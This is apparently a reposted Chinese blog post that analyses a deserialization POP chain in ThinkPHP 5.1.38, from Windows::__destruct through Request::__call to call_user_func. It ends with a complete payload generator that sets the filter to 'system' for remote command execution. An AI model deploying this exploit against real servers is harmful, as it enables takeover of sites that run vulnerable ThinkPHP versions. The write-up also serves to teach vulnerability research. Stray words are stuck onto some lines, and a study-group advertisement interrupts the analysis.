ThinkPHP v5.1.x POP 鏈分析

時間  2019-11-10
標籤 thinkphp v5.1.x pop 分析 欄目 PHP 简体版
原文   原文鏈接

環境：MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain：利用魔術方法並巧妙構造特殊屬性調用一系列函數或類方法以執行某種敏感操做的調用堆棧反序列化經常使用魔法函數


前言
我所理解的 POP Chain：
利用魔術方法並巧妙構造特殊屬性調用一系列函數或類方法以執行某種敏感操做的調用堆棧

反序列化經常使用魔法函數php

  1.  1 __wakeup， unserialize() 執行前調用
 2 __destruct， 對銷燬的時候調用
 3 __toString， 類被當成字符串時的迴應方法
 4 __construct()，當對象建立(new)時會自動調用，注意在
 5 unserialize()時並不會自動調用
 6 __sleep()，serialize()時會先被調用
 7 __call()，在對象中調用一個不可訪問方法時調用
 8 __callStatic()，用靜態方式中調用一個不可訪問方法時調用
 9 __get()，得到一個類的成員變量時調用
10 __set()，設置一個類的成員變量時調用
11 __isset()，當對不可訪問屬性調用isset()或empty()時調用
12 __unset()，當對不可訪問屬性調用unset()時被調用。
13 __wakeup()，執行unserialize()時，先會調用這個函數
14 __toString()，類被當成字符串時的迴應方法
15 __invoke()，調用函數的方式調用一個對象時的迴應方法
16 __set_state()，調用var_export()導出類時，此靜態方法會被調用。
17 __clone()，當對象複製完成時調用
18 __autoload()，嘗試加載未定義的類
19 __debugInfo()，打印所需調試信息

     

 

phar 文件經過 phar:// 僞協議拓寬攻擊面 由於 phar 文件會以序列化的形式存儲用戶自定義的meta-data，因此在文件系統函數（file_exists()、is_dir()等）參數可控的狀況下，配合phar://僞協議，能夠不依賴unserialize()直接進行反序列化操做,深刻了解請至：https://paper.seebug.org/680/

若是對反序列化沒有了解的話建議先學習下相關內容ThinkPHP v5.1.x POP 鏈分析安裝這裏使用的是官方 ThinkPHP V5.1.38composer 部署composer create-project topthink/think=5.1.38 tp5.1.38利用鏈全局搜索函數 __destruct

來到 /thinkphp/library/think/process/pipes/Windows.phphtml

  1.  1 public function __destruct()
 2     {
 3         $this->close();
 4         $this->removeFiles();
 5     }
 6     . . .  . . . 
 7     /**
 8      * 刪除臨時文件
 9      */
10     private function removeFiles()
11     {
12         foreach ($this->files as $filename) {
13             if (file_exists($filename)) {
14                 @unlink($filename);
15             }
16         }
17         $this->files = [];
18     }

     

 

看下 file_exists 的描述flaravel

  1. 1 ile_exists ( string $filename )
複製代碼

: bool若是傳入的 $filename 是個反序列化的對象，在被 file_exists 看成字符串處理的時候就會觸發其 __toString 方法（若是有的話）因此下面就是找含 __toString 方法的類

來到 /thinkphp/library/think/model/concern/Conversion.phpajax

  1. 1 public function toJson($options = JSON_UNESCAPED_UNICODE)
2     {
3         return json_encode($this->toArray(), $options);
4     }
5     . . .   . . . 
6     public function __toString()
7     {
8         return $this->toJson();
9     }

     

 

能夠看到，在 toJson() 函數中又調用了 toArray() 函數若是 toArray() 函數中存在並使用某個可控變量的方法，那麼咱們就能夠利用這點去觸發其餘類的 __call 方法下面是 toArray() 函數的定義，$this->append 做爲類屬性是可控的，因此 $relation 和 $name 也就可控了，因而 $relation->visible($name); 就成了這個 POP 鏈中的中間跳板

phper在進階的時候總會遇到一些問題和瓶頸，業務代碼寫多了沒有方向感，不知道該從那裏入手去提高，對此我整理了一些資料，包括但不限於：分佈式架構、高可擴展、高性能、高併發、服務器性能調優、TP6，laravel，YII2，Redis，Swoole、Kafka、Mysql優化、shell腳本、Docker、微服務、Nginx等多個知識點高級進階乾貨須要的能夠免費分享給你們，須要的（點擊→）個人官方羣677079770https://jq.qq.com/?_wv=1027&k=5BoEMVlsql

  1.  1 public function toArray()
 2 {
 3     $item       = [];
 4     $hasVisible = false;
 5     . . .   . . .
 6     // 追加屬性（必須定義獲取器）
 7     if (!empty($this->append)) {
 8         foreach ($this->append as $key => $name) {
 9             if (is_array($name)) {
10                 // 追加關聯對象屬性
11                 $relation = $this->getRelation($key);
12                 if (!$relation) {
13                     $relation = $this->getAttr($key);
14                     if ($relation) {
15                         $relation->visible($name);
16                     }
17                 }
18                 $item[$key] = $relation ? $relation->append($name)->toArray() : [];
19             } elseif (strpos($name, '.')) {
20            . . .   . . .   
21             } else {
22                 $item[$name] = $this->getAttr($name, $item);
23             }
24         }
25     }
26     return $item;
27 }

     

 

那咱們在這裏應該傳入怎麼樣的值以及什麼數據呢，先看下 $relation 是如何處理獲得的

跟進 getRelation，在 /thinkphp/library/think/model/concern/RelationShip.php 中找到函數定義thinkphp

  1.  1 trait RelationShip
 2 {
 3     . . .   . . . 
 4     /**
 5      * 獲取當前模型的關聯模型數據
 6      * @access public
 7      * @param  string $name 關聯方法名
 8      * @return mixed
 9      */
10     public function getRelation($name = null)
11     {
12         if (is_null($name)) {
13             return $this->relation;
14         } elseif (array_key_exists($name, $this->relation)) {
15             return $this->relation[$name];
16         }
17         return;
18     }
19     . . .   . . . 
20 }

     

 

因爲 getRelation 最終都會 return; 致使返回 NULL，因此 下面的 if (!$relation) 必定成立因此直接跟進後面的 getAttr，在 /thinkphp/library/think/model/concern/Attribute.php 找到其定義shell

  1.  1 trait Attribute
 2 {
 3     . . .   . . .
 4     public function getData($name = null)
 5     {
 6         if (is_null($name)) {
 7             return $this->data;
 8         } elseif (array_key_exists($name, $this->data)) {
 9             return $this->data[$name];
10         } elseif (array_key_exists($name, $this->relation)) {
11             return $this->relation[$name];
12         }
13         throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
14     }
15     . . .   . . . 
16     public function getAttr($name, &$item = null)
17     {
18         try {
19             $notFound = false;
20             $value    = $this->getData($name);
21         } catch (InvalidArgumentException $e) {
22             $notFound = true;
23             $value    = null;
24         }
25         . . .  . . . 
26     }
27 }

     

從 getAttr ---> getData 返回 data 數組中同名鍵值的元素值，即 $relation <---- $this->data[$name]，咱們須要的 $data 和 $append 分別位於 Attribute 和 Conversion，且二者都是 trait 類型Trait 能夠說是和 Class 類似，是 PHP 5.4.0 開始實現的一種代碼複用的方法，可使用 use 加載

詳情能夠看官方手冊 PHP: Trait - Manual

因此接下來是尋找一個同時使用了 Attribute 和 Conversion 的類

發現只有 /thinkphp/library/think/Model.php 知足條件json

  1. 1 abstract class Model implements \JsonSerializable, \ArrayAccess
2 {
3     use model\concern\Attribute;
4     use model\concern\RelationShip;
5     use model\concern\ModelEvent;
6     use model\concern\TimeStamp;
7     use model\concern\Conversion;
8     . . .   . . .
9 }

     

下面就須要找到一個沒有 visible 方法卻有 __call 方法的類做爲執行點找到 /thinkphp/library/think/Request.php 中的 Request 類數組

  1.  1 class Request
 2 {
 3     . . .   . . . 
 4     /**
 5      * 擴展方法
 6      * @var array
 7      */
 8     protected $hook = [];
 9     . . .   . . . 
10     public function __call($method, $args)
11     {
12         if (array_key_exists($method, $this->hook)) {
13             array_unshift($args, $this);
14             return call_user_func_array($this->hook[$method], $args);
15         }
16         throw new Exception('method not exists:' . static::class . '->' . $method);
17     }
18     . . .   . . .
19 }

     

這裏的回調參數來源於 $hook 數組，並且方法名和參數都是可控的，不過 array_unshift 函數會把若干元素前置到數組的開頭服務器

  1.  1  $queue = array("orange", "banana");
 2 array_unshift($queue, "apple", "raspberry");
 3 print_r($queue);
 4 ///
 5 Array
 6 (
 7     [0] => apple
 8     [1] => raspberry
 9     [2] => orange
10     [3] => banana
11 )

     

這樣的話明顯就很難執行命令了，由於參數數組的第一個元素始終是 $this，沒法直接執行咱們想要的命令， 須要其餘某種對參數不是這麼敏感的函數做爲一個新的執行點或者跳板Request 類中有一個 filterValue 函數具備過濾功能，尋找調用 filterValue 的地方以便控制 $value 和 $filters 好執行命令

  1.  1 private function filterValue(&$value, $key, $filters)
 2     {
 3         $default = array_pop($filters);
 4         foreach ($filters as $filter) {
 5             if (is_callable($filter)) {
 6                 // 調用函數或者方法過濾
 7                 $value = call_user_func($filter, $value);
 8             } elseif (is_scalar($value)) {
 9              . . .   . . .         
10              }
11         return $value;
12     }

     

Request 類中的 input 函數由 array_walk_recursive 調用了 filterValue，可是參數仍不可控，再往上尋找調用點看看

  1.  1 public function input($data = [], $name = '', $default = null, $filter = '')
 2     {
 3         if (false === $name) {
 4             // 獲取原始數據
 5             return $data;
 6         }
 7         $name = (string) $name;
 8         if ('' != $name) {
 9             // 解析name
10             if (strpos($name, '/')) {
11                 list($name, $type) = explode('/', $name);
12             }
13             $data = $this->getData($data, $name);
14             if (is_null($data)) {
15                 return $default;
16             }
17             if (is_object($data)) {
18                 return $data;
19             }
20         }
21         // 解析過濾器
22         $filter = $this->getFilter($filter, $default);
23         if (is_array($data)) {
24             array_walk_recursive($data, [$this, 'filterValue'], $filter);
25             if (version_compare(PHP_VERSION, '7.1.0', '<')) {
26                 // 恢復PHP版本低於 7.1 時 array_walk_recursive 中消耗的內部指針
27                 $this->arrayReset($data);
28             }
29         } else {
30             $this->filterValue($data, $name, $filter);
31         }
32         . . .   . . . 
33         return $data;
34     }

     

複製代碼

Request 類中的 param 函數調用了 input 函數，但一樣參數不可控，再往上尋找調用點

  1.  1 public function param($name = '', $default = null, $filter = '')
 2     {
 3         . . .   . . .
 4         if (true === $name) {
 5             // 獲取包含文件上傳信息的數組
 6             $file = $this->file();
 7             $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
 8             return $this->input($data, '', $default, $filter);
 9         }
10         return $this->input($this->param, $name, $default, $filter);
11     }

     

轉到 isAjax 函數的定義

  1.  1 public function isAjax($ajax = false)
 2     {
 3         $value  = $this->server('HTTP_X_REQUESTED_WITH');
 4         $result = 'xmlhttprequest' == strtolower($value) ? true : false;
 5         if (true === $ajax) {
 6             return $result;
 7         }
 8         $result           = $this->param($this->config['var_ajax']) ? true : $result;
 9         $this->mergeParam = false;
10         return $result;
11     }

     

這裏 $ajax 參數沒有對類型的限制，並且 param 的參數來自 $this->config，是可控的，param 在最後所調用的 input 函數的 $this->param, $name 就均可控跟進 get 和 route 函數不難發現 $this->param 的值來自 GET 請求

  1. 1 // 當前請求參數和URL地址中的參數合併
2 $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
3 /*
4 http://127.0.0.1:9000/public/?test=pwd
5 $this->param = array("test"=>"pwd")
6 */

     

那麼回到 input 函數看處理流程

首先 $this->getData($data, $name) 獲得 $data，跟進分析，返回 $data 爲 $data[$val] 的值，即 $data[$name]

  1.  1 protected function getData(array $data, $name)
 2     {
 3         foreach (explode('.', $name) as $val) {
 4             if (isset($data[$val])) {
 5                 $data = $data[$val];
 6             } else {
 7                 return;
 8             }
 9         }
10         return $data;
11     }

     

回到 input，接着處理 $filter = $this->getFilter($filter, $default);getFilter 的兩個參數分別爲 '' 和 null 且都不可控，可是跟進不難看出最後返回 $filter 的值就是 $this->filter，雖而後面 $filter[] = $default; 會給 filter 數組追加個值爲 null 的元素，但後面 filterValue 中的 array_pop 函數正好給去掉了

  1.  1 protected function getFilter($filter, $default)
 2     {
 3         if (is_null($filter)) {
 4             $filter = [];
 5         } else {
 6             $filter = $filter ?: $this->filter;
 7             if (is_string($filter) && false === strpos($filter, '/')) {
 8                 $filter = explode(',', $filter);
 9             } else {
10                 $filter = (array) $filter;
11             }
12         }
13         $filter[] = $default;
14         return $filter;
15     }

     

這樣就獲得一條可控變量的函數調用鏈，最後執行命令

下面簡單梳理下流程 經過 Windows 類 __destruct() 方法調用到 file_exists 觸發某類的 __toString() 來到 toArray() 函數 經過控制分別位於 Attribute 和 Conversion 的 $data 和 $append 變量執行在 Request 中不存在的 visible 函數進而觸發其 __call() 在 Request 經過控制 $hook $filter $config 三個變量的值注入最終的 callback 名稱和參數，再經這麼一系列函數調用執行命令

  1. 1 __call() ---> call_user_func_array() ---> isAjax() ---> param() ---> input() ---> filterValue() ---> call_user_func()

     

構造 Payload

因爲 Model 類是 abstract 類型，沒法實例化，而extends Model 的也只有一個 Pivot 類，因此就用它吧

  1.  1 <?php
 2 namespace think;
 3 abstract class Model
 4 {
 5     protected $append = [];
 6     private $data = [];
 7     function __construct(){
 8         $this->append = ["a"=>[""]];
 9         $this->data = ["a"=>new Request()];
10     }
11 }
12 namespace think\model;
13 use think\Model;
14 class Pivot extends Model
15 {
16 }
17 namespace think\process\pipes;
18 use think\model\Pivot;
19 class Windows
20 {
21     private $files = [];
22     public function __construct()
23     {
24         $this->files = [new Pivot()];
25     }
26 }
27 namespace think;
28 class Request
29 {
30     protected $hook = [];
31     protected $filter = "system";
32     protected $config = [
33         // 表單請求類型假裝變量
34         'var_method'       => '_method',
35         // 表單ajax假裝變量
36         'var_ajax'         => '_ajax',
37         // 表單pjax假裝變量
38         'var_pjax'         => '_pjax',
39         // PATHINFO變量名 用於兼容模式
40         'var_pathinfo'     => 's',
41         // 兼容PATH_INFO獲取
42         'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
43         // 默認全局過濾方法 用逗號分隔多個
44         'default_filter'   => '',
45         // 域名根，如thinkphp.cn
46         'url_domain_root'  => '',
47         // HTTPS代理標識
48         'https_agent_name' => '',
49         // IP代理獲取標識
50         'http_agent_ip'    => 'HTTP_X_REAL_IP',
51         // URL僞靜態後綴
52         'url_html_suffix'  => 'html',
53     ];
54     function __construct(){
55         $this->filter = "system";
56         $this->config = ["var_ajax"=>''];
57         $this->hook = ["visible"=>[$this,"isAjax"]];
58     }
59 }
60 use think\process\pipes\Windows;
61 echo base64_encode(serialize(new Windows()));

     

本身先構造一個利用點反序列化咱們的內容，生成好 payload，GET 傳入要執行的命令，命令別忘了 urlencode查看調用堆棧

相關文章
相關標籤/搜索
每日一句
    每一个你不满意的现在，都有一个你没有努力的曾经。
本站公眾號
   歡迎關注本站公眾號,獲取更多信息
聯繫我們 最近搜索 最新文章 沪ICP备13005482号-10 MyBatis教程 SQL 教程 MySQL教程 Java 教程 Thymeleaf 教程 Hibernate教程 Spring教程 Redis教程